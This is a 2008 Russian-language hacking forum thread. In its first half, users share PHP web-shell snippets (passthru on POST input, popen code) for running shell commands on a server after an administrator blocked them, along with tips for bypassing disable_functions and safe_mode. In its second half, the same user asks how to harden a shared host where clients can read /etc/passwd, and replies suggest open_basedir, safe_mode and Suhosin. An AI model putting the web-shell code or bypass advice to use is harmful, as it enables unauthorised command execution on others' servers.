Выполнить команду на сервере |

16.11.2008, 12:00
|
|
Постоянный
Регистрация: 19.06.2007
Сообщений: 315
С нами:
9945026
Репутация:
326
|
|
Выполнить команду на сервере
Всем привет. Возник вопросик.
Раньше на сервере выполнял команды таким методом :
$result = passthru($_POST['cmmd']);
Теперь админ пофиксил  как еще можно выполнить ?
OS : FreeBSD 6.3
PHP : 5.2.6
Зарание спасибо.
|
|
|

16.11.2008, 15:04
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Непонятно, как пофиксил:
if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -la"; }
echo "".passthru($_POST['cmd'])."";
Тебе останется написать только html форму для скрипта
ну и:
http://ru2.php.net/passthru
The passthru() function is similar to the exec() function in that it executes a command . This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.
Последний раз редактировалось Pashkela; 16.11.2008 в 15:09..
|
|
|

16.11.2008, 16:06
|
|
Banned
Регистрация: 19.10.2007
Сообщений: 152
С нами:
9769519
Репутация:
415
|
|
Сперва выясни в чём заключался фикс. Было ли это запрещение одной или нескольких функций, или же на сервере включили safe_mode. Выполни phpinfo() и посмотри строчку disable_functions. Если там запрещена только функция passthru() - юзай system() или exec().
Так же обрати внимание на значение параметра safe_mode, если установлен в On, значит на сервере врубили Safe Mode - пробуй заюзать какой-либо из способов обхода Safe Mode. Инфы по этой теме дофига на том же Античате.
Даже если не удастся использовать ничего из вышеперечисленного, всё равно остаётся возможность производить какие-то действия средствами чистого PHP (без использования функций операционной системы), например просмотр содержимого каталогов, просмотр , редактирование или создание файлов и т.д.
Последний раз редактировалось otmorozok428; 16.11.2008 в 16:09..
|
|
|

16.11.2008, 18:39
|
|
Постоянный
Регистрация: 19.06.2007
Сообщений: 315
С нами:
9945026
Репутация:
326
|
|
disable_functions :
rmdir, readfile, exec, system, passthru, escapeshellcmd, shell_exec, chmodopendir, readdir, closedir, dir, diskfreespace, disk_free_space, getattr, domxml_get_attribute, ini_alter, ini_set, root, domxml_root
safe_mode Off
Что можно сделать в таком случае ???
|
|
|

16.11.2008, 19:41
|
|
Banned
Регистрация: 19.10.2007
Сообщений: 152
С нами:
9769519
Репутация:
415
|
|
Попробуй заюзать popen(). Вот как-то так:
PHP код:
<?php
$handle = popen("uname -a", "r");
$read = fread($handle, 2096);
echo $read;
?>
|
|
|

17.11.2008, 14:29
|
|
Постоянный
Регистрация: 19.06.2007
Сообщений: 315
С нами:
9945026
Репутация:
326
|
|
Теперь вопрос к админам!
Как можно зашитить свой сервер ?
Такая ситуация :
Есть хостинг на котором 50 сайтов. Каждый может выполнить
ls /home
cat /etc/passwd
лазить по сайтам других клиентов.
Как можно ограничить выполнения команд пользовательом ???
Что-бы он немог выйти за свою директорию.
Спасибо большое.
|
|
|

17.11.2008, 14:46
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами:
10339586
Репутация:
1396
|
|
open basedir ./
safe_mode On
ман по пхп.ини тебе в руки.Если ты про выполнение из пхп скриптов.Иначе- запретить доступ по ссш =)))
|
|
|

17.11.2008, 17:30
|
|
Banned
Регистрация: 19.10.2007
Сообщений: 152
С нами:
9769519
Репутация:
415
|
|
А сверху накати что-нибудь типа Suhoshin и будет тебе счастье 
|
|
|

17.11.2008, 18:13
|
|
Новичок
Регистрация: 14.11.2008
Сообщений: 28
С нами:
9204615
Репутация:
6
|
|
Перекомпилить PHP без exec(); и т.п. и поднять ssh шелл, ну собсно тоже подправленный(можно даже без cd, vim и т.п.).
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|